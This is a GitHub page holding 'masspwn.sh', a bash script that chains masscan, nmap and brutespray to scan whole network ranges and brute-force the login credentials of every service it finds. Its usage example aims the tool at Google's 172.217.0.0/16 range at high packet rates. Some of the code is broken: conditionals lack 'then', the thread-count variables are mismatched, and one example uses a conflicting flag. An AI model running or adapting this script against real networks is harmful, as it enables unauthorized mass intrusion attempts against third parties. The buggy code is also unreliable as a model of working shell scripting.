-
Notifications
You must be signed in to change notification settings - Fork 2
/
masspwn.sh
269 lines (231 loc) · 9.48 KB
/
masspwn.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
green='\e[0;32m'
red='\e[0;31m'
purple='\e[0;35m'
yellow='\e[0;33m'
cyan='\e[0;36m'
light_green='\e[0;92m'
endColor='\e[0m'
item=${green}[*]${endColor}
HOSTS=""
PORTS=""
OUTPUT=""
USERS=""
PASSWORDS=""
RATE=""
THREADS=""
HOSTS_ARG=""
PORTS_ARG=""
OUTPUT_ARG=""
USERS_ARG=""
PASSWORDS_ARG=""
HELP_ARG=""
RATE_ARG=""
THREADS_ARG=""
# While the number of arguments not equal 0
while [ $# -ne 0 ]
do
case "$1" in
--help)
HELP_ARG="OK"
shift
;;
-h|--hosts)
HOSTS_ARG="OK"
HOSTS="$2"
shift
;;
-p[0-9]*)
PORTS_ARG="OK"
PORTS="$1"
;;
-o|--output)
OUTPUT_ARG="OK"
OUTPUT="$2"
shift
;;
-u|--users)
USERS_ARG="OK"
USERS="$2"
shift
;;
-pw|--passwords)
PASSWORDS_ARG="OK"
PASSWORDS="$2"
shift
;;
-r|--rate)
RATE_ARG="OK"
RATE="$2"
shift
;;
-t|--threads)
THREAD_ARG="OK"
THREAD="$2"
shift
;;
#*)
# echo -e "${red}WARNING: Invalid argument detected${endColor}"
# echo ""
# show_help
# ;;
esac
shift
done
echo
echo -e "${red} ▄▄▄▄███▄▄▄▄ ▄████████ ▄████████ ▄████████ ▄███████▄ ▄█ █▄ ███▄▄▄▄ ${endColor}"
echo -e "${red} ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ${endColor}"
echo -e "${red} ███ ███ ███ ███ ███ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ ${endColor}"
echo -e "${red} ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ${endColor}"
echo -e "${red} ███ ███ ███ ▀███████████ ▀███████████ ▀███████████ ▀█████████▀ ███ ███ ███ ███ ${endColor}"
echo -e "${red} ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ${endColor}"
echo -e "${red} ███ ███ ███ ███ ███ ▄█ ███ ▄█ ███ ███ ███ ▄█▄ ███ ███ ███ ${endColor}"
echo -e "${red} ▀█ ███ █▀ ███ █▀ ▄████████▀ ▄████████▀ ▄████▀ ▀███▀███▀ ▀█ █▀ ${endColor}"
echo -e "${red} ${endColor}"
echo -e "${red} v0.1 by Juan Schällibaum ${endColor}"
echo
if [[ -z $HOSTS_ARG || -z $PORTS_ARG || -z $OUTPUT_ARG ]];then
echo -e "${yellow}Usage:${endColor}"
echo -e "${green}./masspwn.sh -h [CIDR | HOSTS LIST] -p[PORT RANGE] -o [OUTPUT DIRECTORY] <OPTIONS>${endColor}"
echo
echo -e "${yellow}Optional arguments:${endColor}"
echo "-u | --users [USERS WORDLIST] Specify custom wordlist for users bruteforce"
echo "-pw | --passwords [PASSWORDS WORDLIST] Specify custom wordlist for passwords bruteforce"
echo "-r | --rate [PACKETS PER SECCOND] Set packets per seccond send to find open ports"
echo "-t | --threads [BRUTEFORCE THREADS] Set the number of threads used for bruteforce with bruespray"
echo "--help Show this help message and exit"
echo
echo -e "${yellow}Examples:${endColor}"
echo -e "${green}./masspwn.sh -h 172.217.0.0/16 -p1-65535 -r 10000 -t 100 -o google${endColor}"
echo "Scan all ports of Google hosts sending 10000 packets per seccond, bruteforce found services login with brutespray default credentials with 100 threads, and saves results in 'google' folder"
echo
echo -e "${green}./masspwn.sh -h host_list.txt -p1-1000 -u /usr/share/wordlists/users.txt -p /usr/share/wordlists/passwords.txt -o results${endColor}"
echo "Scan port range of 1 to 1000 of hosts listed in host_list.txt sending 600 packets per seccond, bruteforce found services login with customs wordlists for users and passwords with 6 threads, and saves results in 'results' folder"
exit
fi
echo -e "${green}# Checking dependences...${endColor}"
echo
find_dependence () {
if [ -f /usr/bin/$1 ]; then
echo -e "${green}[*] $1 is installed${endColor}"
else
echo -e "${red}[!] $1 isn't installed... Installing now${endColor}"
echo
apt install $1
echo
fi
}
find_dependence "masscan"
find_dependence "nmap"
find_dependence "brutespray"
if [ -d $OUTPUT ]; then
rm -r $OUTPUT
fi
mkdir $OUTPUT
mkdir $OUTPUT/tmp
echo
echo -e "${green}#################################################${endColor}"
echo -e "${green}################ Running masscan ################${endColor}"
echo -e "${green}##### for find open ports in large networks #####${endColor}"
echo -e "${green}#################################################${endColor}"
echo
if [[ $HOSTS =~ [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.* ]]; then
if [[ -z $RATE ]]; then
echo -e "${purple}masscan $PORTS $HOSTS --max-rate 600 -oG $OUTPUT/masscan_results${endColor}"
masscan $PORTS $HOSTS --max-rate 600 -oG $OUTPUT/masscan_results
else
echo -e "${purple}masscan $PORTS $HOSTS --max-rate $RATE -oG $OUTPUT/masscan_results${endColor}"
masscan $PORTS $HOSTS --max-rate $RATE -oG $OUTPUT/masscan_results
fi
else
if [[ -z $RATE ]]; then
echo -e "${purple}masscan $PORTS -iL $HOSTS --max-rate 600 -oG $OUTPUT/masscan_results${endColor}"
masscan $PORTS -iL $HOSTS --max-rate 600 -oG $OUTPUT/masscan_results
else
echo -e "${purple}masscan $PORTS -iL $HOSTS --max-rate $RATE -oG $OUTPUT/masscan_results${endColor}"
masscan $PORTS -iL $HOSTS --max-rate $RATE -oG $OUTPUT/masscan_results
fi
fi
echo
echo -e "${cyan}[*] Masscan results:"
echo
cat $OUTPUT/masscan_results
echo -e "${endColor}"
#Para obtener todos los hosts encontrados separados por salto de linea
cat $OUTPUT/masscan_results | cut -d " " -f 2 | grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' > $OUTPUT/tmp/hosts_list
#Para incluir los puertos que solo aparecen una vez
sort $OUTPUT/tmp/hosts_list | uniq -u > $OUTPUT/tmp/hosts_list_filtered
#Para incluir los puertos que se repiten
sort $OUTPUT/tmp/hosts_list | uniq -d >> $OUTPUT/tmp/hosts_list_filtered
#Para obtener todos los puertos encontrados separados por salto de linea
cat $OUTPUT/masscan_results | cut -d " " -f 4 | cut -d / -f 1 | grep '^[0-9]*$' > $OUTPUT/tmp/ports
#Para incluir los puertos que solo aparecen una vez
sort $OUTPUT/tmp/ports | uniq -u > $OUTPUT/tmp/ports_filtered
#Para incluir los puertos que se repiten
sort $OUTPUT/tmp/ports | uniq -d >> $OUTPUT/tmp/ports_filtered
echo
echo -e "${green}############################################${endColor}"
echo -e "${green}#### Running nmap services version scan ####${endColor}"
echo -e "${green}######### based on masscan results #########${endColor}"
echo -e "${green}############################################${endColor}"
echo
echo -e "${green}# Preparing nmap input, please wait...${endColor}"
echo
IFS=$'\n' read -d '' -r -a ip < $OUTPUT/tmp/hosts_list_filtered
for i in "${!ip[@]}"
do
ip[$i]="${ip[$i]} -p "
done
lines_left=$(cat $OUTPUT/masscan_results | wc -l)
cat $OUTPUT/masscan_results | while read line
do
host="$(echo $line | cut -d " " -f 2)"
port="$(echo $line | cut -d " " -f 5 | cut -d / -f 1)"
for i in "${!ip[@]}"
do
echo ${ip[$i]} > $OUTPUT/tmp/temp
act=$(grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' $OUTPUT/tmp/temp)
#echo $act $host
if [ $act == $host ]; then
ip[$i]="${ip[$i]}$port,"
break
fi
done
lines_left=$(($lines_left - 1))
if [ $lines_left == 0 ]; then
for i in "${!ip[@]}"
do
echo -e "${purple}nmap ${ip[$i]::-1} -sV -Pn -T4 -oG $OUTPUT/tmp/$i.gnmap${endColor}"
nmap ${ip[$i]::-1} -sV -Pn -T4 -oG $OUTPUT/tmp/$i.gnmap
echo
done
fi
done
cat $OUTPUT/tmp/*.gnmap > $OUTPUT/nmap_results
#Para eliminar los archivos temporales
rm $OUTPUT/tmp/*
echo
echo -e "${green}##################################################################${endColor}"
echo -e "${green}###################### Running Brutespray ########################${endColor}"
echo -e "${green}#### based on nmap output to bruteforce services credentials #####${endColor}"
echo -e "${green}##################################################################${endColor}"
echo
if [[ $USERS_ARG && $PASSWORDS_ARG ]];then
if [[ -z $THREADS_ARG ]]
echo -e "${purple}brutespray --file $OUTPUT/nmap_results -U $USERS -P $PASSWORDS -o $OUTPUT --threads 6 --hosts 5${endColor}"
sleep 2
brutespray --file $OUTPUT/nmap_results -U $USERS -P $PASSWORDS -o $OUTPUT --threads 6 --hosts 5
else
echo -e "${purple}brutespray --file $OUTPUT/nmap_results -U $USERS -P $PASSWORDS -o $OUTPUT --threads $THREADS --hosts 5${endColor}"
sleep 2
brutespray --file $OUTPUT/nmap_results -U $USERS -P $PASSWORDS -o $OUTPUT --threads 6 --hosts 5
else
if [[ -z $THREADS_ARG ]]
echo -e "${purple}brutespray --file $OUTPUT/nmap_results -o $OUTPUT --threads 6 --hosts 5${endColor}"
sleep 2
brutespray --file $OUTPUT/nmap_results -o $OUTPUT --threads 6 --hosts 5
else
echo -e "${purple}brutespray --file $OUTPUT/nmap_results -o $OUTPUT --threads $THREADS --hosts 5${endColor}"
sleep 2
brutespray --file $OUTPUT/nmap_results -o $OUTPUT --threads 6 --hosts 5
fi
fi